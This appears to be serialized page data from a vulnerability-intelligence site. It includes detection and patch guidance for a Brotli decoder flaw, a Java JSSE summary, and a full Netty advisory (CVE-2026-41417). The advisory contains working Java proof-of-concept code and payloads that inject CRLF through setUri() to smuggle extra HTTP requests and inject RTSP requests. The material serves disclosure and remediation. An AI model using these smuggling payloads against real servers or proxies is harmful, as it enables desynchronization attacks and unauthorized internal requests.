[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-41417":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":52,"references":54,"score":58,"epss_score":59,"epss_percentile":60,"is_kev":61,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":62,"attack_mappings":72,"exploits":79},21103,"CVE-2026-41417","EUVD-2026-28224","Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection\n\n### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling \u002F desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"\u002Fsafe\");\n\n        request.setUri(\"\u002Fs1 HTTP\u002F1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST \u002Fs2 HTTP\u002F1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET \u002Fs1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET \u002Fs1 HTTP\u002F1.1\n\nPOST \u002Fs2 HTTP\u002F1.1\ncontent-length: 11\n\nHello WorldGET \u002Fs1 HTTP\u002F1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET \u002Fs1`\n- `POST \u002Fs2` with body `Hello World`\n- trailing `GET \u002Fs1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp:\u002F\u002Fsafe\u002Fmedia\");\n\n        request.setUri(\"rtsp:\u002F\u002Fcam\u002Fstream RTSP\u002F1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp:\u002F\u002Fcam\u002Fsecret RTSP\u002F1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp:\u002F\u002Fcam\u002Ffinal\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp:\u002F\u002Fcam\u002Fstream RTSP\u002F1.0\nCSeq: 1\n\nDESCRIBE rtsp:\u002F\u002Fcam\u002Fsecret RTSP\u002F1.0\nCSeq: 2\n\nOPTIONS rtsp:\u002F\u002Fcam\u002Ffinal RTSP\u002F1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp:\u002F\u002Fcam\u002Fstream`\n- `DESCRIBE rtsp:\u002F\u002Fcam\u002Fsecret`\n- `OPTIONS rtsp:\u002F\u002Fcam\u002Ffinal`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy\u002Fbackend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream\u002Fdownstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating\u002Finheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`","2026-05-05T18:27:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":45,"privilegesRequired":45,"confidentialityImpact":45},"UNCHANGED","3.1",5.3,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","LOW","NONE",true,[48,49],"CWE-93","CWE-444",[51],"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",[53],"Netty Netty",[55,56,57],"https:\u002F\u002Fgithub.com\u002Fnetty\u002Fnetty\u002Fsecurity\u002Fadvisories\u002FGHSA-v8h7-rr48-vmmv","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-41417","https:\u002F\u002Fgithub.com\u002Fnetty\u002Fnetty",0.62,0.00318,0.24541,false,{"timestamp":63,"automatable":64,"tech_impact":65,"exploitation":66,"cisa_decision":67,"cisa_remediation_timeline":71},"2026-05-07T13:59:21.169996Z","yes","partial","poc",{"vector":68,"decision":69,"priority":70},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T01:34:43.690806\u002F","attend","medium","14D",[73],{"name":74,"source":75,"tactics":76,"technique_id":78},"Exploit Public-Facing Application","attack_vector",[77],"initial-access","T1190",[80],{"link":55},{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]